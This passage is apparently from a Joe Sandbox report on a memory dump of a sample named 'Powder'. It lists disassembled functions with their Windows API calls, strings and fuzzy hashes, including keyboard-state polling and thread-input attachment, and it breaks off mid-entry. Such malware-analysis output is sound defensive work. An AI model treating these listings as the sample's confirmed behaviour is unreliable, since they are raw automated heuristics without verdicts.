CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E62EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E62EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E62EDC

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 1babb0eb550a957328b6cca4f851d74e914cc07f6a3cae6a60bc329e0724abca
Instruction ID: 4acbecf113f2e4fa6f5e6fc17321959b5078a91c4bbbe804e1edaaea495d5499
Opcode Fuzzy Hash: 1babb0eb550a957328b6cca4f851d74e914cc07f6a3cae6a60bc329e0724abca
Instruction Fuzzy Hash: 0061D571940649AFDB22CF64EC88DBE7BB8EB41388F14506EF951B7251D732AD05CB21

Function 00E87548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00E875CA
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00E875CD
GetWindowLongW.USER32(?,000000F0), ref: 00E875F1
_memset.LIBCMT ref: 00E87602
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E87614
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00E8768C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: a9a678caf6d1f9529d22f5ffc3372dc6834f9ae8e1889aed195b5701817dfdda
Instruction ID: b86a377876862a3fe2d01817e124decc1844b852f66639ffb55a2ca8a230bfd4
Opcode Fuzzy Hash: a9a678caf6d1f9529d22f5ffc3372dc6834f9ae8e1889aed195b5701817dfdda
Instruction Fuzzy Hash: 56618B75904208AFDB10EFA4CC85EEE77F8AB09704F20019AFA58B72A1D771AD45DF60

Function 00E577B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00E577DD
SafeArrayAllocData.OLEAUT32(?), ref: 00E57836
VariantInit.OLEAUT32(?), ref: 00E57848
SafeArrayAccessData.OLEAUT32(?,?), ref: 00E57868
VariantCopy.OLEAUT32(?,?), ref: 00E578BB
SafeArrayUnaccessData.OLEAUT32(?), ref: 00E578CF
VariantClear.OLEAUT32(?), ref: 00E578E4
SafeArrayDestroyData.OLEAUT32(?), ref: 00E578F1
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E578FA
VariantClear.OLEAUT32(?), ref: 00E5790C
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E57917

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 005726d2a1d227f14abde1ad7cbe0d09160eec099ee3a102d796e556de942fa5
Instruction ID: ebd3f42baabfdcbc71aad84c0a74bd3a369e67e7b0989082473c924518461dd7
Opcode Fuzzy Hash: 005726d2a1d227f14abde1ad7cbe0d09160eec099ee3a102d796e556de942fa5
Instruction Fuzzy Hash: 38418175A00219DFCB04DFA9D848DEDBBB8FF48305F40846AE955B7261C730AA59CFA0

Function 00E60508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00E60530
GetAsyncKeyState.USER32(000000A0), ref: 00E605B1
GetKeyState.USER32(000000A0), ref: 00E605CC
GetAsyncKeyState.USER32(000000A1), ref: 00E605E6
GetKeyState.USER32(000000A1), ref: 00E605FB
GetAsyncKeyState.USER32(00000011), ref: 00E60613
GetKeyState.USER32(00000011), ref: 00E60625
GetAsyncKeyState.USER32(00000012), ref: 00E6063D
GetKeyState.USER32(00000012), ref: 00E6064F
GetAsyncKeyState.USER32(0000005B), ref: 00E60667
GetKeyState.USER32(0000005B), ref: 00E60679

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ef9d675b7fc3419ca6c546703e3f701a459c63dff1d05ec8eaf69399a91a6022
Instruction ID: 0225d45dd003ee57b21da1a796cc646f0e81410034e318013bc87d13dab4038b
Opcode Fuzzy Hash: ef9d675b7fc3419ca6c546703e3f701a459c63dff1d05ec8eaf69399a91a6022
Instruction Fuzzy Hash: BC412C705847DA5EFF318764E8043BBBEA06B51388F04604AD6C6775C2EBD499D8CFA2

Function 00E78AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

CoInitialize.OLE32 ref: 00E78AED
CoUninitialize.OLE32 ref: 00E78AF8
CoCreateInstance.OLE32(?,00000000,00000017,00E93BBC,?), ref: 00E78B58
IIDFromString.OLE32(?,?), ref: 00E78BCB
VariantInit.OLEAUT32(?), ref: 00E78C65
VariantClear.OLEAUT32(?), ref: 00E78CC6

Strings

Failed to create object, xrefs: 00E78B63, 00E78C19
Invalid parameter, xrefs: 00E78BE4
NULL Pointer assignment, xrefs: 00E78B9D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 4a9bcf244e85b281a771a40c9a91dfcb2a20ec4fa4925f587066a6a0df414cf8
Instruction ID: 6ee55d6c646320cb59b7cfc7429a4d1bdea3a9787799d50fe423c9ecbfa44d81
Opcode Fuzzy Hash: 4a9bcf244e85b281a771a40c9a91dfcb2a20ec4fa4925f587066a6a0df414cf8
Instruction Fuzzy Hash: 6461B1B02447019FC715DF14CA49F6ABBE8AF54714F00984AF989BB291CB70ED48CBA2

Function 00E6BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6BB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00E6BB89
GetLastError.KERNEL32 ref: 00E6BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 00E6BC00

Strings

NOTREADY, xrefs: 00E6BBBF
READONLY, xrefs: 00E6BBCB
INVALID, xrefs: 00E6BBD2
READY, xrefs: 00E6BBD9
UNKNOWN, xrefs: 00E6BBB8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: b954f8d7dc0f289b9fece3f388884312511f0a9fad2d54a8805014a1aa6c53eb
Instruction ID: 36cd6a8c9121e7690b16d34b87a6beaf6167ef0d7a148d263991606107f8a3da
Opcode Fuzzy Hash: b954f8d7dc0f289b9fece3f388884312511f0a9fad2d54a8805014a1aa6c53eb
Instruction Fuzzy Hash: D731E635A802099FC710EF65E845EEEB7B8EF44384F105166E905F72D5DB709D81CB50

Function 00E59B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00E59BCC
GetDlgCtrlID.USER32 ref: 00E59BD7
GetParent.USER32 ref: 00E59BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00E59BF6
GetDlgCtrlID.USER32(?), ref: 00E59BFF
GetParent.USER32(?), ref: 00E59C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00E59C1E

Strings

ComboBox, xrefs: 00E59B54
ListBox, xrefs: 00E59B89

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 408fb13d5565b14cd681a2333bca4195b3c3d9107c03114be0aa902929434e93
Instruction ID: d98dba30c68d87304c7f40e4d0bbb198f2901c7dc86513739eb4b50660f91e12
Opcode Fuzzy Hash: 408fb13d5565b14cd681a2333bca4195b3c3d9107c03114be0aa902929434e93
Instruction Fuzzy Hash: 8821B071900104AFDF04EB61CC85EFEBBA5EF95311F101556FD61B3292DB7449189A20

Function 00E59C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00E59CB5
GetDlgCtrlID.USER32 ref: 00E59CC0
GetParent.USER32 ref: 00E59CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00E59CDF
GetDlgCtrlID.USER32(?), ref: 00E59CE8
GetParent.USER32(?), ref: 00E59D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00E59D07

Strings

ComboBox, xrefs: 00E59C3F
ListBox, xrefs: 00E59C74

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 73ddbac46567c5428fa909561740ea650536bf2abff0231db28c933c0b29875a
Instruction ID: 8a37aa184b8f93c51f4a67d36bedc790c99a4d7ce4d0d5ef9d76e4e15b338745
Opcode Fuzzy Hash: 73ddbac46567c5428fa909561740ea650536bf2abff0231db28c933c0b29875a
Instruction Fuzzy Hash: 1021BD71A00204AFDF10EBA1CC85EFEBBB9EF94300F101156FD51B7292DB7589689B20

Function 00E78F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E78FC1
CoInitialize.OLE32(00000000), ref: 00E78FEE
CoUninitialize.OLE32 ref: 00E78FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 00E790F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00E79225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00E93BDC), ref: 00E79259
CoGetObject.OLE32(?,00000000,00E93BDC,?), ref: 00E7927C
SetErrorMode.KERNEL32(00000000), ref: 00E7928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00E7930F
VariantClear.OLEAUT32(?), ref: 00E7931F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 9ff1161a1ca3592866dd2b20f963f587b322226da924fc165daa27958b648534
Instruction ID: 7fcdf1c48b7e62e1e0fbab3fbddd06ea580184ab32b7cb53ceec8be9dada2bb7
Opcode Fuzzy Hash: 9ff1161a1ca3592866dd2b20f963f587b322226da924fc165daa27958b648534
Instruction Fuzzy Hash: 07C139B1204305AFC704EF64C88496BB7E9FF89348F00995DF989AB262DB71ED45CB52

Function 00E619CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E619EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61A03
GetWindowThreadProcessId.USER32(00000000), ref: 00E61A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00E61A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00E60A67,?,00000001), ref: 00E61ABB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: c4a2cd72bebb7a144dbbfe8c6e8cb4487e0d1813086a6a7f94366bfafac26bba
Instruction ID: b7adcc91ca6c0ab78e4019fde79037a5e6945c503bcc2f3ca7d9acfed2559e9d
Opcode Fuzzy Hash: c4a2cd72bebb7a144dbbfe8c6e8cb4487e0d1813086a6a7f94366bfafac26bba
Instruction Fuzzy Hash: 50312671641248BFDB12DF92EE44FAA37AAEF54399F1441AAF800F7190CB759D48CB50

Function 00E3C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00E0260D
SetTextColor.GDI32(?,000000FF), ref: 00E02617
SetBkMode.GDI32(?,00000001), ref: 00E0262C
GetStockObject.GDI32(00000005), ref: 00E02634
GetClientRect.USER32(?), ref: 00E3C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00E3C113
GetWindowDC.USER32(?), ref: 00E3C11F
GetPixel.GDI32(00000000,?,?), ref: 00E3C12E
ReleaseDC.USER32(?,00000000), ref: 00E3C140
GetSysColor.USER32(00000005), ref: 00E3C15E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: c0a4d5fcb68eb7d90d9e75708faf233e60873f24111f8c27814ec74c87442cf6
Instruction ID: fd1091b47f019b6df476d46a326e6d4be371e940f66f15fae4b7a7d3b6d2c41b
Opcode Fuzzy Hash: c0a4d5fcb68eb7d90d9e75708faf233e60873f24111f8c27814ec74c87442cf6
Instruction Fuzzy Hash: CC115932501205AFDB615FA5EC0CBE97BB1EF08321F504267FA65B50E2CB320995EF15

Function 00E0AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00E0ADE1
OleUninitialize.OLE32(?,00000000), ref: 00E0AE80
UnregisterHotKey.USER32(?), ref: 00E0AFD7
DestroyWindow.USER32(?), ref: 00E42F64
FreeLibrary.KERNEL32(?), ref: 00E42FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E42FF6

Strings

close all, xrefs: 00E0ADDC

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 4f04f8dc679ebed6d49b1d2965d87bad07737be802c96c34c72b65f348dc8f43
Instruction ID: 92bde323bea62fd25fe10174d5d6814d2acd6906158fbc89b93fc00837fd8864
Opcode Fuzzy Hash: 4f04f8dc679ebed6d49b1d2965d87bad07737be802c96c34c72b65f348dc8f43
Instruction Fuzzy Hash: A8A17070701212CFCB29EF14D494A69F3A0FF04744F5462ADE90ABB292CB31AD96CF91

Function 00E5AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00E5B13A), ref: 00E5B078

Strings

INSTANCE, xrefs: 00E5AF86
TEXT, xrefs: 00E5AFAF
NAME, xrefs: 00E5AEAA
REGEXPCLASS, xrefs: 00E5AE3D
CLASSNN, xrefs: 00E5AE1A
CLASS, xrefs: 00E5ADF7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 86290ac9f143a0f962fc9354db19b014f8e24417bf67218a883e75d74f7cc2ca
Instruction ID: 77b331fcb736971b7a3beab841e3312d84d3d2d175669735c7d38d0aea8d78eb
Opcode Fuzzy Hash: 86290ac9f143a0f962fc9354db19b014f8e24417bf67218a883e75d74f7cc2ca
Instruction Fuzzy Hash: D091A470600115EACB08DF60C482BEEFBB5BF04305F18A529ED5AB7291DF30699DCBA1

Function 00E031F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00E0327E

Part of subcall function 00E0218F: GetClientRect.USER32(?,?), ref: 00E021B8
Part of subcall function 00E0218F: GetWindowRect.USER32(?,?), ref: 00E021F9
Part of subcall function 00E0218F: ScreenToClient.USER32(?,?), ref: 00E02221

GetDC.USER32 ref: 00E3D073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00E3D086
SelectObject.GDI32(00000000,00000000), ref: 00E3D094
SelectObject.GDI32(00000000,00000000), ref: 00E3D0A9
ReleaseDC.USER32(?,00000000), ref: 00E3D0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00E3D13C

Strings

U, xrefs: 00E3D011

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 25edd999c43749d0840fcc0d75850ef41392b5762add9e6f4fb9487d1bf66b5f
Instruction ID: 2bd4fcb2f5a451bc9b07f9215cccf6a7c61b27e306bf439b155bc134e0b2339a
Opcode Fuzzy Hash: 25edd999c43749d0840fcc0d75850ef41392b5762add9e6f4fb9487d1bf66b5f
Instruction Fuzzy Hash: 15710430408205DFCF259F64DC88AEA7FB6FF49324F14526AED557A1A5C7318882DF60

Function 00E8C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E029E2: GetWindowLongW.USER32(?,000000EB), ref: 00E029F3

Part of subcall function 00E02714: GetCursorPos.USER32(?), ref: 00E02727
Part of subcall function 00E02714: ScreenToClient.USER32(00EC77B0,?), ref: 00E02744
Part of subcall function 00E02714: GetAsyncKeyState.USER32(00000001), ref: 00E02769
Part of subcall function 00E02714: GetAsyncKeyState.USER32(00000002), ref: 00E02777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00E8C69C
ImageList_EndDrag.COMCTL32 ref: 00E8C6A2
ReleaseCapture.USER32 ref: 00E8C6A8
SetWindowTextW.USER32(?,00000000), ref: 00E8C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00E8C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00E8C847

Strings

@GUI_DROPID, xrefs: 00E8C799
@GUI_DRAGFILE, xrefs: 00E8C7DC

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

